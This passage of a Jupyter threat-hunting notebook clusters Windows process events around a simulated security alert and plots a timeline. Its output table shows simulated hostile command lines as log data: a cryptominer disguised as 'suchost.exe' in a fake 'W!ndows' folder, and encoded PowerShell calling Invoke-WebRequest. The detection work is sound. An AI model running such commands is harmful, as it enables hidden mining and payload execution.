       "      <td>2019-02-13 22:13:58.490</td>\n",
       "      <td>2019-02-13 21:27:02.473</td>\n",
       "      <td>C:\\WindowsAzure\\SecAgent\\WaSecAgentProv.exe</td>\n",
       "      <td>\"C:\\WindowsAzure\\SecAgent\\WaSecAgentProv.exe\" -startPoll C:\\WindowsAzure\\Logs\\ 168.63.129.16 524...</td>\n",
       "      <td>1.0</td>\n",
       "      <td>21</td>\n",
       "      <td>4198</td>\n",
       "      <td>True</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "              TimeGenerated           LastEventTime  \\\n",
       "51  2019-02-13 21:09:43.893 2019-02-13 21:35:26.417   \n",
       "57  2019-02-13 21:10:57.437 2019-02-13 21:27:02.473   \n",
       "60  2019-02-13 21:10:58.257 2019-02-13 21:26:53.250   \n",
       "62  2019-02-13 21:10:58.567 2019-02-13 21:35:26.443   \n",
       "159 2019-02-13 21:27:01.893 2019-02-13 21:27:02.473   \n",
       "160 2019-02-13 21:27:02.473 2019-02-13 21:27:02.473   \n",
       "135 2019-02-13 21:28:01.787 2019-02-13 21:27:02.473   \n",
       "14  2019-02-13 21:41:16.580 2019-02-13 21:08:46.143   \n",
       "110 2019-02-13 21:48:20.483 2019-02-13 21:27:02.473   \n",
       "0   2019-02-13 21:49:41.233 2019-02-13 21:27:02.473   \n",
       "1   2019-02-13 21:49:41.247 2019-02-13 21:06:45.017   \n",
       "2   2019-02-13 21:49:45.013 2019-02-13 21:06:45.007   \n",
       "37  2019-02-13 22:03:42.290 2019-02-13 21:27:02.473   \n",
       "38  2019-02-13 22:03:42.320 2019-02-13 21:27:02.473   \n",
       "39  2019-02-13 22:03:42.330 2019-02-13 21:09:43.903   \n",
       "40  2019-02-13 22:03:42.640 2019-02-13 22:03:42.877   \n",
       "41  2019-02-13 22:03:42.667 2019-02-13 21:27:02.473   \n",
       "42  2019-02-13 22:03:42.680 2019-02-13 21:27:02.473   \n",
       "43  2019-02-13 22:03:42.817 2019-02-13 21:27:02.473   \n",
       "44  2019-02-13 22:03:42.843 2019-02-13 21:27:02.473   \n",
       "45  2019-02-13 22:03:42.860 2019-02-13 21:27:02.473   \n",
       "65  2019-02-13 22:08:46.270 2019-02-13 21:08:46.253   \n",
       "75  2019-02-13 22:11:41.790 2019-02-13 21:11:41.770   \n",
       "31  2019-02-13 22:13:58.490 2019-02-13 21:27:02.473   \n",
       "\n",
       "                                                                                          NewProcessName  \\\n",
       "51                                                           C:\\Windows\\System32\\appidcertstorecheck.exe   \n",
       "57                                                                     C:\\Windows\\System32\\UsoClient.exe   \n",
       "60                                                                 C:\\Windows\\System32\\wbem\\WmiPrvSE.exe   \n",
       "62   C:\\Windows\\WinSxS\\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.2602_none_7...   \n",
       "159                                                                       C:\\Windows\\System32\\sppsvc.exe   \n",
       "160                                                                C:\\Windows\\System32\\wbem\\WmiPrvSE.exe   \n",
       "135                                                C:\\Program Files (x86)\\Google\\Update\\GoogleUpdate.exe   \n",
       "14                                                               C:\\Windows\\System32\\MusNotification.exe   \n",
       "110                      C:\\WindowsAzure\\GuestAgent_2.7.41491.901_2019-01-14_202614\\CollectGuestLogs.exe   \n",
       "0                                                                            C:\\Windows\\System32\\cmd.exe   \n",
       "1                                                                        C:\\Windows\\System32\\conhost.exe   \n",
       "2                                                                        C:\\Windows\\System32\\cscript.exe   \n",
       "37                                                                       C:\\Windows\\System32\\dllhost.exe   \n",
       "38                                                                           C:\\Windows\\System32\\cmd.exe   \n",
       "39                                                                       C:\\Windows\\System32\\conhost.exe   \n",
       "40                                                                           C:\\Windows\\System32\\cmd.exe   \n",
       "41                                                                           C:\\Windows\\System32\\cmd.exe   \n",
       "42                                                                           C:\\Windows\\System32\\cmd.exe   \n",
       "43                                                                       C:\\W!ndows\\System32\\suchost.exe   \n",
       "44                                                                    C:\\W!ndows\\System32\\powershell.exe   \n",
       "45                                                                    C:\\W!ndows\\System32\\powershell.exe   \n",
       "65   C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\ICT 2\\CMF\\DesiredStateCon...   \n",
       "75       C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\Resources\\884\\pmfexe.exe   \n",
       "31                                                           C:\\WindowsAzure\\SecAgent\\WaSecAgentProv.exe   \n",
       "\n",
       "                                                                                             CommandLine  \\\n",
       "51                                                           C:\\Windows\\system32\\appidcertstorecheck.exe   \n",
       "57                                                           C:\\Windows\\system32\\usoclient.exe StartScan   \n",
       "60                                             C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding   \n",
       "62   C:\\Windows\\winsxs\\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.2602_none_7...   \n",
       "159                                                                       C:\\Windows\\system32\\sppsvc.exe   \n",
       "160                                                     C:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding   \n",
       "135                 \"C:\\Program Files (x86)\\Google\\Update\\GoogleUpdate.exe\" /ua /installsource scheduler   \n",
       "14                                                       C:\\Windows\\system32\\MusNotification.exe Display   \n",
       "110  \"CollectGuestLogs.exe\" -Mode:ga -FileName:C:\\WindowsAzure\\CollectGuestLogsTemp\\7a9d40f2-490e-446...   \n",
       "0                                                                                                  \"cmd\"   \n",
       "1                                                \\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1   \n",
       "2                              \"C:\\Windows\\system32\\cscript.exe\" /nologo \"MonitorKnowledgeDiscovery.vbs\"   \n",
       "37                     C:\\Windows\\system32\\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}   \n",
       "38                                 cmd.exe /c c:\\Diagnostics\\WinSimulateAlerts.cmd c:\\W!ndows\\System32 2   \n",
       "39                                               \\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1   \n",
       "40                                                                cmd  /c echo Begin Security Demo tasks   \n",
       "41                cmd  /c echo Any questions about the commands executed here then please contact one of   \n",
       "42                         cmd  /c echo timb@microsoft.com; ianhelle@microsoft.com; shainw@microsoft.com   \n",
       "43                                         .\\suchost.exe   -a cryptonight -o bcn -u bond007.01 -p x -t 4   \n",
       "44   .\\powershell  -Noninteractive -Noprofile -Command \"Invoke-Expression Get-Process; Invoke-WebRequ...   \n",
       "45   .\\powershell  -enc LU5vbmludGVyYWN0aXZlIC1Ob3Byb2ZpbGUgLUNvbW1hbmQgIkludm9rZS1FeHByZXNzaW9uIEdld...   \n",
       "65   \"C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\ICT 2\\CMF/DesiredStateCo...   \n",
       "75   \"C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\Resources\\884\\pmfexe.exe...   \n",
       "31   \"C:\\WindowsAzure\\SecAgent\\WaSecAgentProv.exe\" -startPoll C:\\WindowsAzure\\Logs\\ 168.63.129.16 524...   \n",
       "\n",
       "     ClusterSize commandlineTokensFull pathScore isSystemSession  \n",
       "51           4.0                     5      4285            True  \n",
       "57           1.0                     6      3180            True  \n",
       "60           5.0                    10      3546            True  \n",
       "62           3.0                    13     10527            True  \n",
       "159          1.0                     5      2933            True  \n",
       "160          1.0                     8      3546            True  \n",
       "135          1.0                    17      4895            True  \n",
       "14           4.0                     6      3826            True  \n",
       "110          1.0                    18      6421            True  \n",
       "0            1.0                     2      2570            True  \n",
       "1           80.0                    10      3028            True  \n",
       "2           70.0                    13      3022            True  \n",
       "37           1.0                    12      3024            True  \n",
       "38           1.0                    13      2570            True  \n",
       "39           2.0                    10      3028           False  \n",
       "40           2.0                     8      2570           False  \n",
       "41           1.0                    16      2570           False  \n",
       "42           1.0                    12      2570           False  \n",
       "43           1.0                    21      2967           False  \n",
       "44           1.0                    26      3283           False  \n",
       "45           1.0                     6      3283           False  \n",
       "65           4.0                    53     11146            True  \n",
       "75           2.0                    27      9122            True  \n",
       "31           1.0                    21      4198            True  "
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "if not clus_events.empty:\n",
    "    resp = input('View the clustered data? y/n')\n",
    "    if resp == 'y':\n",
    "        display(clus_events.sort_values('TimeGenerated')[['TimeGenerated', 'LastEventTime',\n",
    "                                                          'NewProcessName', 'CommandLine', \n",
    "                                                          'ClusterSize', 'commandlineTokensFull',\n",
    "                                                          'pathScore', 'isSystemSession']])"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 71,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/markdown": [
       "You can view the cluster members for individual processesby inserting a new cell and entering:<br>`>>> view_cluster(process_name)`<br></div>where process_name is the unqualified process binary. E.g<br>`>>> view_cluster('reg.exe')`"
      ],
      "text/plain": [
       "<IPython.core.display.Markdown object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "# Look at clusters for individual process names\n",
    "def view_cluster(exe_name):\n",
    "    display(clus_events[['ClusterSize', 'processName', 'CommandLine', 'ClusterId']][clus_events['processName'] == exe_name])\n",
    "    \n",
    "display(Markdown('You can view the cluster members for individual processes'\n",
    "                 'by inserting a new cell and entering:<br>'\n",
    "                 '`>>> view_cluster(process_name)`<br></div>'\n",
    "                 'where process_name is the unqualified process binary. E.g<br>'\n",
    "                 '`>>> view_cluster(\\'reg.exe\\')`'))"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Time showing clustered vs. original data"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 72,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "\n",
       "    <div class=\"bk-root\">\n",
       "        <a href=\"https://bokeh.pydata.org\" target=\"_blank\" class=\"bk-logo bk-logo-small bk-logo-notebook\"></a>\n",
       "        <span id=\"1549\">Loading BokehJS ...</span>\n",
       "    </div>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": [
       "\n",
       "(function(root) {\n",
       "  function now() {\n",
       "    return new Date();\n",
       "  }\n",
       "\n",
       "  var force = true;\n",
       "\n",
       "  if (typeof (root._bokeh_onload_callbacks) === \"undefined\" || force === true) {\n",
       "    root._bokeh_onload_callbacks = [];\n",
       "    root._bokeh_is_loading = undefined;\n",
       "  }\n",
       "\n",
       "  var JS_MIME_TYPE = 'application/javascript';\n",
       "  var HTML_MIME_TYPE = 'text/html';\n",
       "  var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n",
       "  var CLASS_NAME = 'output_bokeh rendered_html';\n",
       "\n",
       "  /**\n",
       "   * Render data to the DOM node\n",
       "   */\n",
       "  function render(props, node) {\n",
       "    var script = document.createElement(\"script\");\n",
       "    node.appendChild(script);\n",
       "  }\n",
       "\n",
       "  /**\n",
       "   * Handle when an output is cleared or removed\n",
       "   */\n",
       "  function handleClearOutput(event, handle) {\n",
       "    var cell = handle.cell;\n",
       "\n",
       "    var id = cell.output_area._bokeh_element_id;\n",
       "    var server_id = cell.output_area._bokeh_server_id;\n",
       "    // Clean up Bokeh references\n",
       "    if (id != null && id in Bokeh.index) {\n",
       "      Bokeh.index[id].model.document.clear();\n",
       "      delete Bokeh.index[id];\n",
       "    }\n",
       "\n",
       "    if (server_id !== undefined) {\n",
       "      // Clean up Bokeh references\n",
       "      var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n",
       "      cell.notebook.kernel.execute(cmd, {\n",
       "        iopub: {\n",
       "          output: function(msg) {\n",
       "            var id = msg.content.text.trim();\n",
       "            if (id in Bokeh.index) {\n",
       "              Bokeh.index[id].model.document.clear();\n",
       "              delete Bokeh.index[id];\n",
       "            }\n",
       "          }\n",
       "        }\n",
       "      });\n",
       "      // Destroy server and session\n",
       "      var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n",
       "      cell.notebook.kernel.execute(cmd);\n",
       "    }\n",
       "  }\n",
       "\n",
       "  /**\n",
       "   * Handle when a new output is added\n",
       "   */\n",
       "  function handleAddOutput(event, handle) {\n",
       "    var output_area = handle.output_area;\n",
       "    var output = handle.output;\n",
       "\n",
       "    // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n",
       "    if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n",
       "      return\n",
       "    }\n",
       "\n",
       "    var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n",
       "\n",
       "    if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n",
       "      toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n",
       "      // store reference to embed id on output_area\n",
       "      output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n",
       "    }\n",
       "    if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n",
       "      var bk_div = document.createElement(\"div\");\n",
       "      bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n",
       "      var script_attrs = bk_div.children[0].attributes;\n",
       "      for (var i = 0; i < script_attrs.length; i++) {\n",
       "        toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n",
       "      }\n",
       "      // store reference to server id on output_area\n",
       "      output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n",
       "    }\n",
       "  }\n",
       "\n",
       "  function register_renderer(events, OutputArea) {\n",
       "\n",
       "    function append_mime(data, metadata, element) {\n",
       "      // create a DOM node to render to\n",
       "      var toinsert = this.create_output_subarea(\n",
       "        metadata,\n",
       "        CLASS_NAME,\n",
       "        EXEC_MIME_TYPE\n",
       "      );\n",
       "      this.keyboard_manager.register_events(toinsert);\n",
       "      // Render to node\n",
       "      var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n",
       "      render(props, toinsert[toinsert.length - 1]);\n",
       "      element.append(toinsert);\n",
       "      return toinsert\n",
       "    }\n",
       "\n",
       "    /* Handle when an output is cleared or removed */\n",
       "    events.on('clear_output.CodeCell', handleClearOutput);\n",
       "    events.on('delete.Cell', handleClearOutput);\n",
       "\n",
       "    /* Handle when a new output is added */\n",
       "    events.on('output_added.OutputArea', handleAddOutput);\n",
       "\n",
       "    /**\n",
       "     * Register the mime type and append_mime function with output_area\n",
       "     */\n",
       "    OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n",
       "      /* Is output safe? */\n",
       "      safe: true,\n",
       "      /* Index of renderer in `output_area.display_order` */\n",
       "      index: 0\n",
       "    });\n",
       "  }\n",
       "\n",
       "  // register the mime type if in Jupyter Notebook environment and previously unregistered\n",
       "  if (root.Jupyter !== undefined) {\n",
       "    var events = require('base/js/events');\n",
       "    var OutputArea = require('notebook/js/outputarea').OutputArea;\n",
       "\n",
       "    if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n",
       "      register_renderer(events, OutputArea);\n",
       "    }\n",
       "  }\n",
       "\n",
       "  \n",
       "  if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n",
       "    root._bokeh_timeout = Date.now() + 5000;\n",
       "    root._bokeh_failed_load = false;\n",
       "  }\n",
       "\n",
       "  var NB_LOAD_WARNING = {'data': {'text/html':\n",
       "     \"<div style='background-color: #fdd'>\\n\"+\n",
       "     \"<p>\\n\"+\n",
       "     \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n",
       "     \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n",
       "     \"</p>\\n\"+\n",
       "     \"<ul>\\n\"+\n",
       "     \"<li>re-rerun `output_notebook()` to attempt to load from CDN again, or</li>\\n\"+\n",
       "     \"<li>use INLINE resources instead, as so:</li>\\n\"+\n",
       "     \"</ul>\\n\"+\n",
       "     \"<code>\\n\"+\n",
       "     \"from bokeh.resources import INLINE\\n\"+\n",
       "     \"output_notebook(resources=INLINE)\\n\"+\n",
       "     \"</code>\\n\"+\n",
       "     \"</div>\"}};\n",
       "\n",
       "  function display_loaded() {\n",
       "    var el = document.getElementById(\"1549\");\n",
       "    if (el != null) {\n",
       "      el.textContent = \"BokehJS is loading...\";\n",
       "    }\n",
       "    if (root.Bokeh !== undefined) {\n",
       "      if (el != null) {\n",
       "        el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n",
       "      }\n",
       "    } else if (Date.now() < root._bokeh_timeout) {\n",
       "      setTimeout(display_loaded, 100)\n",
       "    }\n",
       "  }\n",
       "\n",
       "\n",
       "  function run_callbacks() {\n",
       "    try {\n",
       "      root._bokeh_onload_callbacks.forEach(function(callback) { callback() });\n",
       "    }\n",
       "    finally {\n",
       "      delete root._bokeh_onload_callbacks\n",
       "    }\n",
       "    console.info(\"Bokeh: all callbacks have finished\");\n",
       "  }\n",
       "\n",
       "  function load_libs(js_urls, callback) {\n",
       "    root._bokeh_onload_callbacks.push(callback);\n",
       "    if (root._bokeh_is_loading > 0) {\n",
       "      console.log(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n",
       "      return null;\n",
       "    }\n",
       "    if (js_urls == null || js_urls.length === 0) {\n",
       "      run_callbacks();\n",
       "      return null;\n",
       "    }\n",
       "    console.log(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n",
       "    root._bokeh_is_loading = js_urls.length;\n",
       "    for (var i = 0; i < js_urls.length; i++) {\n",
       "      var url = js_urls[i];\n",
       "      var s = document.createElement('script');\n",
       "      s.src = url;\n",
       "      s.async = false;\n",
       "      s.onreadystatechange = s.onload = function() {\n",
       "        root._bokeh_is_loading--;\n",
       "        if (root._bokeh_is_loading === 0) {\n",
       "          console.log(\"Bokeh: all BokehJS libraries loaded\");\n",
       "          run_callbacks()\n",
       "        }\n",
       "      };\n",
       "      s.onerror = function() {\n",
       "        console.warn(\"failed to load library \" + url);\n",
       "      };\n",
       "      console.log(\"Bokeh: injecting script tag for BokehJS library: \", url);\n",
       "      document.getElementsByTagName(\"head\")[0].appendChild(s);\n",
       "    }\n",
       "  };var element = document.getElementById(\"1549\");\n",
       "  if (element == null) {\n",
       "    console.log(\"Bokeh: ERROR: autoload.js configured with elementid '1549' but no matching script tag was found. \")\n",
       "    return false;\n",
       "  }\n",
       "\n",
       "  var js_urls = [\"https://cdn.pydata.org/bokeh/release/bokeh-1.0.4.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.0.4.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-tables-1.0.4.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-gl-1.0.4.min.js\"];\n",
       "\n",
       "  var inline_js = [\n",
       "    function(Bokeh) {\n",
       "      Bokeh.set_log_level(\"info\");\n",
       "    },\n",
       "    \n",
       "    function(Bokeh) {\n",
       "      \n",
       "    },\n",
       "    function(Bokeh) {\n",
       "      console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-1.0.4.min.css\");\n",
       "      Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-1.0.4.min.css\");\n",
       "      console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.0.4.min.css\");\n",
       "      Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.0.4.min.css\");\n",
       "      console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-tables-1.0.4.min.css\");\n",
       "      Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-tables-1.0.4.min.css\");\n",
       "    }\n",
       "  ];\n",
       "\n",
       "  function run_inline_js() {\n",
       "    \n",
       "    if ((root.Bokeh !== undefined) || (force === true)) {\n",
       "      for (var i = 0; i < inline_js.length; i++) {\n",
       "        inline_js[i].call(root, root.Bokeh);\n",
       "      }if (force === true) {\n",
       "        display_loaded();\n",
       "      }} else if (Date.now() < root._bokeh_timeout) {\n",
       "      setTimeout(run_inline_js, 100);\n",
       "    } else if (!root._bokeh_failed_load) {\n",
       "      console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n",
       "      root._bokeh_failed_load = true;\n",
       "    } else if (force !== true) {\n",
       "      var cell = $(document.getElementById(\"1549\")).parents('.cell').data().cell;\n",
       "      cell.output_area.append_execute_result(NB_LOAD_WARNING)\n",
       "    }\n",
       "\n",
       "  }\n",
       "\n",
       "  if (root._bokeh_is_loading === 0) {\n",
       "    console.log(\"Bokeh: BokehJS loaded, going straight to plotting\");\n",
       "    run_inline_js();\n",
       "  } else {\n",
       "    load_libs(js_urls, function() {\n",
       "      console.log(\"Bokeh: BokehJS plotting callback run at\", now());\n",
       "      run_inline_js();\n",
       "    });\n",
       "  }\n",
       "}(window));"
      ],
      "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n  function now() {\n    return new Date();\n  }\n\n  var force = true;\n\n  if (typeof (root._bokeh_onload_callbacks) === \"undefined\" || force === true) {\n    root._bokeh_onload_callbacks = [];\n    root._bokeh_is_loading = undefined;\n  }\n\n  \n\n  \n  if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n    root._bokeh_timeout = Date.now() + 5000;\n    root._bokeh_failed_load = false;\n  }\n\n  var NB_LOAD_WARNING = {'data': {'text/html':\n     \"<div style='background-color: #fdd'>\\n\"+\n     \"<p>\\n\"+\n     \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n     \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n     \"</p>\\n\"+\n     \"<ul>\\n\"+\n     \"<li>re-rerun `output_notebook()` to attempt to load from CDN again, or</li>\\n\"+\n     \"<li>use INLINE resources instead, as so:</li>\\n\"+\n     \"</ul>\\n\"+\n     \"<code>\\n\"+\n     \"from bokeh.resources import INLINE\\n\"+\n     \"output_notebook(resources=INLINE)\\n\"+\n     \"</code>\\n\"+\n     \"</div>\"}};\n\n  function display_loaded() {\n    var el = document.getElementById(\"1549\");\n    if (el != null) {\n      el.textContent = \"BokehJS is loading...\";\n    }\n    if (root.Bokeh !== undefined) {\n      if (el != null) {\n        el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n      }\n    } else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(display_loaded, 100)\n    }\n  }\n\n\n  function run_callbacks() {\n    try {\n      root._bokeh_onload_callbacks.forEach(function(callback) { callback() });\n    }\n    finally {\n      delete root._bokeh_onload_callbacks\n    }\n    console.info(\"Bokeh: all callbacks have finished\");\n  }\n\n  function load_libs(js_urls, callback) {\n    root._bokeh_onload_callbacks.push(callback);\n    if (root._bokeh_is_loading > 0) {\n      console.log(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n      return null;\n    }\n    if (js_urls == null || js_urls.length === 0) {\n      run_callbacks();\n      return null;\n    }\n    console.log(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n    root._bokeh_is_loading = js_urls.length;\n    for (var i = 0; i < js_urls.length; i++) {\n      var url = js_urls[i];\n      var s = document.createElement('script');\n      s.src = url;\n      s.async = false;\n      s.onreadystatechange = s.onload = function() {\n        root._bokeh_is_loading--;\n        if (root._bokeh_is_loading === 0) {\n          console.log(\"Bokeh: all BokehJS libraries loaded\");\n          run_callbacks()\n        }\n      };\n      s.onerror = function() {\n        console.warn(\"failed to load library \" + url);\n      };\n      console.log(\"Bokeh: injecting script tag for BokehJS library: \", url);\n      document.getElementsByTagName(\"head\")[0].appendChild(s);\n    }\n  };var element = document.getElementById(\"1549\");\n  if (element == null) {\n    console.log(\"Bokeh: ERROR: autoload.js configured with elementid '1549' but no matching script tag was found. \")\n    return false;\n  }\n\n  var js_urls = [\"https://cdn.pydata.org/bokeh/release/bokeh-1.0.4.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.0.4.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-tables-1.0.4.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-gl-1.0.4.min.js\"];\n\n  var inline_js = [\n    function(Bokeh) {\n      Bokeh.set_log_level(\"info\");\n    },\n    \n    function(Bokeh) {\n      \n    },\n    function(Bokeh) {\n      console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-1.0.4.min.css\");\n      Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-1.0.4.min.css\");\n      console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.0.4.min.css\");\n      Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.0.4.min.css\");\n      console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-tables-1.0.4.min.css\");\n      Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-tables-1.0.4.min.css\");\n    }\n  ];\n\n  function run_inline_js() {\n    \n    if ((root.Bokeh !== undefined) || (force === true)) {\n      for (var i = 0; i < inline_js.length; i++) {\n        inline_js[i].call(root, root.Bokeh);\n      }if (force === true) {\n        display_loaded();\n      }} else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(run_inline_js, 100);\n    } else if (!root._bokeh_failed_load) {\n      console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n      root._bokeh_failed_load = true;\n    } else if (force !== true) {\n      var cell = $(document.getElementById(\"1549\")).parents('.cell').data().cell;\n      cell.output_area.append_execute_result(NB_LOAD_WARNING)\n    }\n\n  }\n\n  if (root._bokeh_is_loading === 0) {\n    console.log(\"Bokeh: BokehJS loaded, going straight to plotting\");\n    run_inline_js();\n  } else {\n    load_libs(js_urls, function() {\n      console.log(\"Bokeh: BokehJS plotting callback run at\", now());\n      run_inline_js();\n    });\n  }\n}(window));"
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Alert start time =  2019-02-13 22:03:42\n"
     ]
    },
    {
     "data": {
      "text/html": [
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "  <div class=\"bk-root\" id=\"c4c3458e-eeeb-483a-80b9-75aa8af9d0ca\" data-root-id=\"1553\"></div>\n"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": [
       "(function(root) {\n",
       "  function embed_document(root) {\n",
       "    \n",
       "  var docs_json = {\"1f2ccefb-e07d-4ef8-9235-04e1dd01d82f\":{\"roots\":{\"references\":[{\"attributes\":{\"below\":[{\"id\":\"1563\",\"type\":\"DatetimeAxis\"}],\"left\":[{\"id\":\"1568\",\"type\":\"LinearAxis\"}],\"min_border_left\":50,\"plot_height\":300,\"plot_width\":900,\"renderers\":[{\"id\":\"1563\",\"type\":\"DatetimeAxis\"},{\"id\":\"1567\",\"type\":\"Grid\"},{\"id\":\"1568\",\"type\":\"LinearAxis\"},{\"id\":\"1572\",\"type\":\"Grid\"},{\"id\":\"1580\",\"type\":\"BoxAnnotation\"},{\"id\":\"1590\",\"type\":\"GlyphRenderer\"},{\"id\":\"1596\",\"type\":\"GlyphRenderer\"},{\"id\":\"1601\",\"type\":\"GlyphRenderer\"},{\"id\":\"1603\",\"type\":\"Label\"}],\"title\":{\"id\":\"1552\",\"type\":\"Title\"},\"toolbar\":{\"id\":\"1577\",\"type\":\"Toolbar\"},\"x_range\":{\"id\":\"1555\",\"type\":\"DataRange1d\"},\"x_scale\":{\"id\":\"1559\",\"type\":\"LinearScale\"},\"y_range\":{\"id\":\"1557\",\"type\":\"DataRange1d\"},\"y_scale\":{\"id\":\"1561\",\"type\":\"LinearScale\"}},\"id\":\"1553\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"1608\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{},\"id\":\"1624\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"1614\",\"type\":\"DaysTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#1f77b4\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#1f77b4\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1595\",\"type\":\"Circle\"},{\"attributes\":{\"overlay\":{\"id\":\"1580\",\"type\":\"BoxAnnotation\"}},\"id\":\"1575\",\"type\":\"BoxZoomTool\"},{\"attributes\":{\"formatter\":{\"id\":\"1606\",\"type\":\"BasicTickFormatter\"},\"plot\":{\"id\":\"1553\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"1569\",\"type\":\"BasicTicker\"},\"visible\":false},\"id\":\"1568\",\"type\":\"LinearAxis\"},{\"attributes\":{\"plot\":null,\"text\":\"Timeline Distinct Host Processes (top) and All Proceses 